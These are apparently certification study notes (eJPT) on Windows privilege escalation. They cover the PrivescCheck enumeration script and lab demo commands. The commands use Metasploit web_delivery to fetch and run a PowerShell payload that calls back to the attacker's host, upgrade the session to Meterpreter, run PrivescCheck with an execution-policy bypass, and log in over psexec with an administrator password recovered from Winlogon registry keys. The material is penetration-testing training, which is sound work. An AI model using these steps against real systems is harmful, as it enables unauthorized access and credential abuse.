> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/escalation/windows-privilege-escalation.md).

# Windows Privilege Escalation

### Identifying Windows Privilege Escalation Vulnerabilities

* In order to  elevate your privileges on Windows, you must first, identify privilege escalation vulnerabilities that exist on the target system.
* This process will differ greatly based on the type of target you gain access to Privilege escalation on Windows can be performed through a plethora of techniques based on the version of Windows and the system's unique configuration.
* This process can be quite tedious and time consuming and as a result, it is recommended to automate the processes of identifying privilege escalation vulnerabilities. This can be done through the use of various automation scripts. 

PrivescCheck 

* PrivescCheck - This script aims to enumerate common Windows configuration issues that can be leveraged for local privilege escalation. It also gathers various information that might be useful for exploitation and/or post-exploitation.
* GitHub Repo - <https://github.com/itm4n/PrivescCheck>

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

DEMO

```
msfconsole -q
> search web_delivery
> use exploit/multi/script/web_delivery
> show options
> show info
> set lhost eth1
> exploit 
copy powershell code and paste
> sessions 
> sessions 1

cmd> whoami
cmd> hostname
ctrl + z
> search shell_to
> use post/multi/manage/shell_to_meterpreter
? show options 
> set LHOST eth1
> set SESSION 1
> set WIN_TRANSFER VBS
> show optons
> sessions
> exploit
> sessions

>>>> sessions 2
>>>> migrate <explorer.exe> 3624
>>>> getuid
>>>> getprivs
>>>> cd C:\\
>>>> cd Users\Student\Desktop\PrivescCheck
>>>> shell

cmd> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

```

* open cmd and paste and press enter \[window disappears]

***

### Windows Privilege Escalation

DEMO

Winlogon registry keys

> administrator:: hello\_123321

```
psexec.py Administrator@<IP> 

cmd> whoami
cmd> whoami /priv
```

```
msfconsole -q
> sessions 1
> use exploit/windows/smb/psexec
> set LPORT 4422
> set RHOSTS <IP>
> set SMBUser administrator
> set SMBPass hello_123321
>>>> sysinfo
>>>> getuid
```